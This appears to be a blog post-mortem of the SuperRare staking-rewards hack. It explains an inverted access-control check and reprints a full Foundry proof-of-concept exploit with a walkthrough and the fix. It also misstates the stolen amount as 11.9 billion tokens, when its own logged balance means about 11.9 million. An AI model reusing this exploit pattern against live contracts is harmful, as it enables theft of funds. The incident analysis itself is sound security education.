SuperRare Hack: A $730K Lesson in Smart Contract Logic Errors¶
On July 28, 2025, the SuperRare platform, a popular marketplace for digital art and NFTs, fell victim to an exploit that drained approximately $730,000 worth of RARE tokens from its staking rewards distributor contract. This incident highlights the critical importance of rigorous code reviews and access control in smart contracts. Let’s dive into what happened, how the attack unfolded, and the key takeaways for the DeFi and NFT communities.

Background on SuperRare and the Staking Contract¶
SuperRare is an Ethereum-based platform that allows artists to mint and sell unique digital artworks as NFTs. To incentivize community participation, it offers a staking mechanism where users can lock up RARE tokens (the platform’s native governance and utility token) to earn rewards.
The vulnerable component was the RareStakingV1 contract, deployed at address 0xffb512b9176d527c5d32189c3e310ed4ab2bb9ec, which handled the distribution of staking rewards using a Merkle tree for efficient claim verification.
The contract interacted with a proxy at 0x3f4d749675b3e48bccd932033808a7079328eb48, allowing upgradability. Rewards were claimed based on a Merkle root, which served as a cryptographic proof to verify user entitlements without revealing the entire dataset. However, a subtle but catastrophic flaw in the contract’s access control turned this system into an open door for attackers.
The Vulnerability: A Logic Flaw in Access Control¶
At the heart of the exploit was the updateMerkleRoot function in the RareStakingV1 contract. This function was designed to update the Merkle root, a sensitive operation that should only be performed by authorized parties, typically the contract owner or a designated address.
Here’s the problematic code snippet:
function updateMerkleRoot(bytes32 newRoot) external override {
require((msg.sender != owner() || msg.sender != address(0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc)), "Not authorized to update merkle root");
if (newRoot == bytes32(0)) revert EmptyMerkleRoot();
currentClaimRoot = newRoot;
currentRound++;
emit NewClaimRootAdded(newRoot, currentRound, block.timestamp);
}
The require statement was intended to restrict access, but the logic was inverted. Using != operators combined with || meant the condition evaluated to true for virtually any msg.sender, as long as it wasn’t simultaneously equal to both the owner and the hardcoded authorized address (which is impossible). This effectively bypassed the authorization check, allowing anyone to update the Merkle root to an arbitrary value.
This bug likely stemmed from a simple typo, probably meant to be == instead of !=, but it had massive consequences. This incorrect permission check enabled unauthorized modifications, turning the contract into a free-for-all for claims.
How the Attack Unfolded¶
The attacker, operating from address 0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2, executed the exploit in a single transaction on July 28, 2025, at 08:21:59 AM UTC (block 23016423). The transaction hash is 0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1.
Here’s a step-by-step breakdown:
-
Deployment of the Attack Contract: The attacker created a malicious contract at
0x08947cedf35f9669012bda6fda9d03c399b017ab. This contract was designed to interact with the SuperRare staking proxy. -
Updating the Merkle Root: Using the flawed
updateMerkleRootfunction, the attacker set a fake Merkle root (e.g.,0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e). Since the access control was broken, this call succeeded without authorization. -
Claiming the Tokens: With the new root in place, the attacker called the claim function, providing an empty proof array and claiming the entire balance of the staking rewards pool, approximately 11.907 billion RARE tokens (valued at around $730,000 USD at the time). The tokens were transferred to the attack contract.
-
Extraction: The stolen tokens were then moved to the attacker’s address. Notably, the exploit was limited to the rewards pool, and user-staked funds remained safe.
The entire attack was frontrun to ensure priority, and no ETH was transferred in the transaction itself, keeping gas costs low (around 5.7 million gas units).
Proof-of-concept code circulating in the community demonstrates how straightforward the exploit was: deploy an attack contract, update the root, and claim the funds.
Hands-On: Proof of Concept¶
To better understand how this exploit works, let’s examine a proof-of-concept implementation that demonstrates the attack step by step. This code shows exactly how an attacker could exploit the vulnerable contract.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-07/SuperRare_exp.sol
// @KeyInfo - Total Lost : 730K USD
// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab
// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1
pragma solidity ^0.8.0;
address constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;
address constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;
address constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;
address constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;
// 1753690919
contract SuperRare is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 23016423 - 1;
function setUp() public {
vm.createSelectFork("mainnet", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = RARE_TOKEN;
}
function testExploit() public balanceLog {
// deploy attack contract and etch it to ATTACK_CONTRACT address
AttackContract acTemp = new AttackContract();
bytes memory code = address(acTemp).code;
vm.etch(ATTACK_CONTRACT, code);
AttackContract ac = AttackContract(ATTACK_CONTRACT);
uint256 stakingContractBalance = ac.getStakingContractBalance();
console.log("stakingContractBalance", stakingContractBalance);
// 11907874713019104529057960
uint256 tokenBalance = ac.getTokenBalance();
console.log("attackContract Balance Before", tokenBalance);
// 0
bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
ac.attack(fakeRoot, stakingContractBalance);
uint256 tokenBalanceAfter = ac.getTokenBalance();
console.log("attackContract Balance After", tokenBalanceAfter);
// 11907874713019104529057960
}
}
contract AttackContract {
function getStakingContractBalance() public view returns (uint256) {
return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);
}
function getTokenBalance() public view returns (uint256) {
return IERC20(RARE_TOKEN).balanceOf(address(this));
}
function attack(bytes32 newRoot, uint256 amout) public {
IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
target.updateMerkleRoot(newRoot);
bytes32[] memory proof = new bytes32[](0);
target.claim(amout, proof);
}
}
interface IERC1967Proxy {
function updateMerkleRoot(bytes32 newRoot) external;
function claim(uint256 amount, bytes32[] calldata proof) external;
}
Step-by-Step Attack Breakdown¶
Let’s walk through exactly how this proof of concept works:
Step 1: Environment Setup¶
function setUp() public {
vm.createSelectFork("mainnet", blocknumToForkFrom);
fundingToken = RARE_TOKEN;
}
- Purpose: Sets up a forked environment from the exact block before the attack
- Why: This allows us to replay the attack in a controlled environment
- Block:
23016423 - 1(the block just before the actual attack)
Step 2: Deploy Attack Contract¶
AttackContract acTemp = new AttackContract();
bytes memory code = address(acTemp).code;
vm.etch(ATTACK_CONTRACT, code);
AttackContract ac = AttackContract(ATTACK_CONTRACT);
- Purpose: Deploys the attack contract to the exact same address used in the real attack
vm.etch(): A Foundry cheatcode that allows deploying to a specific address- Why: This replicates the exact conditions of the real attack
Step 3: Check Initial Balances¶
uint256 stakingContractBalance = ac.getStakingContractBalance();
console.log("stakingContractBalance", stakingContractBalance);
// Output: 11907874713019104529057960 (≈ 11.9 billion RARE tokens)
uint256 tokenBalance = ac.getTokenBalance();
console.log("attackContract Balance Before", tokenBalance);
// Output: 0
- Purpose: Verify the staking contract has funds and the attack contract starts empty
- Staking Balance: Shows the total rewards pool available for claiming
- Attack Balance: Confirms the attack contract starts with zero tokens
Step 4: Execute the Attack¶
bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
ac.attack(fakeRoot, stakingContractBalance);
The attack() function performs two critical operations:
4a. Update Merkle Root (Exploit the Vulnerability)¶
function attack(bytes32 newRoot, uint256 amount) public {
IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
target.updateMerkleRoot(newRoot); // ← This should fail but doesn't!
// ... rest of attack
}
- What it does: Calls the vulnerable
updateMerkleRootfunction - Expected behavior: Should revert due to access control
- Actual behavior: Succeeds because of the logic error in the
requirestatement - Result: The contract now accepts the attacker’s fake Merkle root
4b. Claim All Tokens¶
bytes32[] memory proof = new bytes32[](0); // Empty proof array
target.claim(amount, proof);
- What it does: Claims the entire staking rewards pool
- Proof array: Empty array
[]- normally this would fail Merkle verification - Why it works: The fake Merkle root allows any proof to be valid
- Amount: The entire balance of the staking contract
Step 5: Verify the Theft¶
uint256 tokenBalanceAfter = ac.getTokenBalance();
console.log("attackContract Balance After", tokenBalanceAfter);
// Output: 11907874713019104529057960 (same as staking balance)
- Purpose: Confirm the attack was successful
- Result: The attack contract now holds all the tokens that were in the staking contract
The Fix¶
The correct logic should be:
require((msg.sender == owner() || msg.sender == address(0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc)),
"Not authorized to update merkle root");